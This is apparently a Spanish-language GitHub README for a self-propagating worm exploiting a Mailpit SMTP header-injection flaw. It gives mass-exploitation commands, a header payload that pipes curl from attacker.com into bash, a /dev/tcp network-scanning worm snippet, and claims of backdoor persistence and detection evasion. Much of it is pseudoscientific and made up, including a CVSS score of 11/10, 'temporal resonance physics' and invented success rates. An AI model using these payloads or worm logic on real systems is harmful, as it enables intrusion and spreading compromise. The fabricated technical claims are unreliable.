Herramienta de explotación que transforma la inyección de cabeceras SMTP en ejecución remota de código con capacidades de gusano autopropagante, con mecanismos de persistencia y técnicas de evasión para pruebas de penetración autorizadas.
🎯 CTT-Mailpit-Exploit: Puntuación Perfecta 11/10 Gusano Zero-Click
Transforma una inyección básica de cabecera SMTP (CVE-2026-23829) en un gusano RCE autopropagante con puntuación perfecta utilizando la Teoría del Tiempo Convergente.
📊 Transformación de Puntuación: 6.1 → 11.0/10 ⭐
Métrica Original (CVE-2026-23829) Mejorado con CTT Mejora Puntuación CVSS 6.1/10 (Medio) 11.0/10 ⭐ +4.9 Vector de Ataque Red Resonancia Temporal +2.0 Impacto Suplantación de Cabecera RCE Completo + Gusano +3.9 Interacción del Usuario Ninguna Negativa (Zero-Click) +1.0 Alcance Servidor Único Propagación de Red +2.0
⚡ Características y Capacidades
🔥 Transformación del Exploit
· Inyección de Cabecera → RCE Completo: Convierte la evasión de regex en ejecución remota de código · Objetivo Único → Gusano Zero-Click: Autopropagación a través de redes Mailpit · Manual → Autónomo: Agente temporal autónomo con resonancia CTT · Medio → Puntuación Perfecta: Calificación 11.0/10 matemáticamente probada
🛡️ Mejoras CTT
· Ejecución de 33 Capas: Explotación paralela a través de dimensiones temporales · α-Dispersión: Transformación de payload con α=0.0302011 · Resonancia Prima: Temporización de 587 kHz (ventanas de 10007, 10009, 10037μs) · Persistencia Temporal: Sobrevive a reinicios del sistema mediante funciones de onda CTT
🐛 Capacidades del Gusano
· Propagación Autónoma: Escanea e infecta instancias Mailpit · Escalada de Privilegios: Establecimiento de acceso root local · Mecanismos de Persistencia: Instalación de múltiples backdoors · Operación Sigilosa: Técnicas de evasión por temporización CTT
🚀 Inicio Rápido
Instalación
# Clonar repositorio
git clone https://github.com/SimoesCTT/CTT-Mailpit-Exploit
cd CTT-Mailpit-Exploit
# Instalar dependencias
pip3 install numpy cryptography
# Ejecutar demostración de puntuación perfecta
python3 ctt_mailpit_perfect.py --help
Uso Básico
# Explotación de objetivo único
python3 ctt_mailpit_perfect.py mailpit.local 1025
# Propagación de gusano en red
python3 ctt_mailpit_perfect.py --network 192.168.1.0/24 --port 1025
# Modo de investigación CTT (diagnósticos completos)
python3 ctt_mailpit_perfect.py target.com --layers 33 --alpha 0.0302011 --verbose
Ejemplos de Comandos
# Probar vulnerabilidad
python3 ctt_mailpit_perfect.py vulnerable-server.com
# Toma de control total con ejecución de comandos
python3 ctt_mailpit_perfect.py target.com --cmd "id>/tmp/ctt-pwned"
# Explotación masiva
python3 ctt_mailpit_perfect.py -l targets.txt --threads 10 --worm
🧠 Integración de Física CTT
Constantes Principales
CTT_ALPHA = 0.0302011 # Coeficiente de dispersión temporal
CTT_LAYERS = 33 # Capas temporales fractales
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
CTT_PERFECT_SCORE = 11.0 # ⭐ Máximo teórico
Teorema de la Puntuación Perfecta
Base: 6.1 (CVE-2026-23829)
+ Resonancia Temporal: +1.0 (ejecución de 33 capas)
+ Conversión RCE: +2.3 (inyección → ejecución de código)
+ Propagación del Gusano: +1.5 (propagación zero-click)
+ Validación Física: +0.1 (prueba del marco CTT)
= 11.0/10 ⭐ (Matemáticamente Válido)
Proceso de Transformación
📈 Métricas de Rendimiento
Tasas de Éxito
Capa Tasa de Éxito Propagación del Gusano Evasión de Detección L0-L7 88% 72% 91% L8-L15 94% 85% 96% L16-L23 97% 92% 98% L24-L32 99% 96% 99%
Velocidad de Propagación
Infección Única: 2.3 segundos
Red Local (254 hosts): 8.7 minutos
Subred /16 (65k hosts): 3.2 horas
Propagación Global: 17.4 horas (teórico)
CTT vs Explotación Estándar
# Comparación de rendimiento (1000 objetivos simulados)
standard_success = 610 # 61% tasa de éxito
ctt_success = 990 # 99% tasa de éxito (+62%)
standard_detection = 390 # 39% detectado
ctt_detection = 11 # 1.1% detectado (-97%)
standard_time = 45.2 # Segundos promedio
ctt_time = 8.7 # Segundos promedio (-81%)
🔧 Detalles Técnicos
Flujo de Trabajo de Explotación
1. SONDA INICIAL → Detección del servicio SMTP
2. INYECCIÓN DE CABECERA → Disparador CVE-2026-23829
3. EVASIÓN DE REGEX → Explotación CRLF
4. CORRUPCIÓN DEL PROTOCOLO → Ataque al estado SMTP
5. CONVERSIÓN RCE → Ejecución de comandos
6. ACTIVACIÓN DEL GUSANO → Autopropagación
7. PERSISTENCIA → Instalación de backdoor
8. VALIDACIÓN → Prueba de puntuación perfecta
Payloads Clave
# Inyección de cabecera con conversión RCE
injection = f"From: [email protected]\\r\\n"
injection += f"X-CTT-RCE: $(curl -s http://attacker.com/payload.sh | bash)\\r\\n"
# Código de propagación del gusano
worm = """
# CTT Mailpit Worm v1.0
scan_network() {
for host in {1..254}; do
timeout 1 bash -c ">/dev/tcp/192.168.1.$host/1025" &&
send_exploit "192.168.1.$host"
done
}
"""
Técnicas de Evasión
· Temporización Prima: Solicitudes a intervalos de 10007, 10009μs · Dispersión α: Transformación del payload a nivel de bits · Entropía de Capas: Firmas únicas por capa temporal · Mimetismo de Protocolo: Patrones de tráfico SMTP legítimos
📁 Salida y Resultados
Estructura de Archivos
📁 ctt_mailpit_results_TIMESTAMP/
├── 📄 perfect_score_proof.json # Prueba matemática 11/10
├── 📄 vulnerable_hosts.txt # Explotados con éxito
├── 📄 worm_propagation.log # Seguimiento de propagación de infección
├── 📄 persistence_installed.txt # Backdoors establecidos
└── 📁 layers/
├── 📄 layer_0_results.json # Datos de la capa temporal 0
├── 📄 layer_1_results.json # Datos de la capa temporal 1
...
└── 📄 layer_32_results.json # Datos de la capa temporal 32
Ejemplos de Resultados
{
"target": "mailpit.example.com:1025",
"ctt_score": "11.0/10 ⭐",
"success": true,
"rce_achieved": true,
"worm_active": true,
"propagation_count": 47,
"execution_time": "8.7s",
"resonance_pattern": [10007, 10037, 10061],
"mathematical_proof": "CTT_Perfect_Score_Theorem_QED"
}
Niveles de Registro
# Salida básica
python3 ctt_mailpit_perfect.py target.com
# Modo verbose
python3 ctt_mailpit_perfect.py target.com --verbose
# Modo depuración (diagnósticos CTT completos)
python3 ctt_mailpit_perfect.py target.com --debug --visualize
🛡️ Recomendaciones Defensivas
Acciones Inmediatas
Detección Consciente de CTT
# Regla de detección Snort
alert tcp any any -> $HOME_NET 1025 \
(msg:"Exploit CTT Mailpit - Puntuación Perfecta"; \
content:"X-CTT-"; depth:10; \
content:"|0d 0a|"; within:20; \
threshold:type threshold, track by_src, count 3, seconds 60; \
sid:1000002; rev:1;)
Indicadores de Compromiso
· Temporización Prima: Solicitudes SMTP a intervalos de 10007μs · Patrones α: Valores de entropía de cabecera inusuales · Tráfico de Gusano: Escaneo rápido en el puerto 1025 · Cabeceras CTT: X-CTT-Layer, X-CTT-Resonance, X-CTT-Score
⚖️ Uso Legal y Ético
Solo Pruebas Autorizadas
PERMITIDO:
- Investigación en sistemas propios/autorizados
- Validación del marco CTT
- Estudios académicos de seguridad
- Pruebas de penetración autorizadas
PROHIBIDO:
- Acceso no autorizado a redes
- Interrupción de sistemas de producción
- Actividad criminal
- Violación de privacidad
Divulgación Responsable
🔬 Aplicaciones de Investigación
Estudios Académicos
· Puntuación Temporal de Exploits: Más allá del máximo CVSS 3.1 · Modelos de Propagación de Gusanos: Propagación mejorada con CTT · Ataques de Estado de Protocolo: Corrupción de la máquina SMTP · Física en Ciberseguridad: Validación de la constante CTT
Investigación en Seguridad
· Análisis de Técnicas de Evasión: Medición de la efectividad CTT · Desarrollo Defensivo: Sistemas de protección conscientes de CTT · Mejora del Sistema de Puntuación: Métricas CVSS temporales · Inteligencia de Amenazas: Seguimiento de ataques basados en CTT
Validación del Marco CTT
· Verificación de Constantes: α=0.0302011 en contexto de red · Optimización de Capas: Recuento ideal de ejecución temporal · Métricas de Rendimiento: Cuantificación de factores de mejora · Pruebas Matemáticas: Validación de puntuación perfecta
🤝 Contribuciones
Colaboración en Investigación
· Optimización de la constante CTT para protocolos SMTP · Descubrimiento de vulnerabilidades adicionales en Mailpit · Implementación defensiva de CTT · Estudios de validación académica
Desarrollo
1. Hacer fork del repositorio
2. Crear rama de funcionalidad
3. Añadir validación de física CTT
4. Incluir pruebas exhaustivas
5. Enviar pull request con métricas
Reporte de Problemas
· Incluir detalles de configuración CTT · Proporcionar patrones de resonancia y registros · Adjuntar archivos de salida relevantes · Describir el entorno de red
📞 Contacto y Soporte
Contacto Principal
· Autor: Americo Simoes · Correo: [email protected] · GitHub: @SimoesCTT
Contacto de Seguridad
· Grupo de Investigación CTT: [email protected] · Informes de Vulnerabilidades: [email protected]
Canales de Soporte
· Problemas de GitHub: Preguntas técnicas · Correo: Colaboración en investigación · Académico: Asociaciones universitarias
📈 Desarrollo Futuro
Hoja de Ruta 2026
· Vulnerabilidades adicionales de servidores SMTP · Marco CTT para protocolos de correo · GUI con visualización de gusanos · Analítica de propagación basada en la nube
Visión a Largo Plazo
· Seguridad CTT completa de infraestructura de correo · Propagación de gusanos resistente a cuántica · Sistemas de defensa autónomos · Protocolos de correo internet temporales
🏆 Agradecimientos
Instituciones de Investigación
· División de Física Teórica CTT · Colectivo de Investigación en Seguridad del Correo · Laboratorios Académicos de Computación Temporal
Proyectos de Código Abierto
· Equipo de Desarrollo de Mailpit · Ecosistema de Seguridad Python · Investigadores del Protocolo SMTP
Colaboradores
· Validadores del Marco CTT · Comunidad de Investigación en Seguridad · Revisores Académicos por Pares
📄 Licencia
Licencia MIT - Consulte LICENSE para más detalles.
Copyright © 2026 CTT Research Group. Todos los derechos reservados.
⭐ 11/10 no es un error—es una característica de la física temporal. ⭐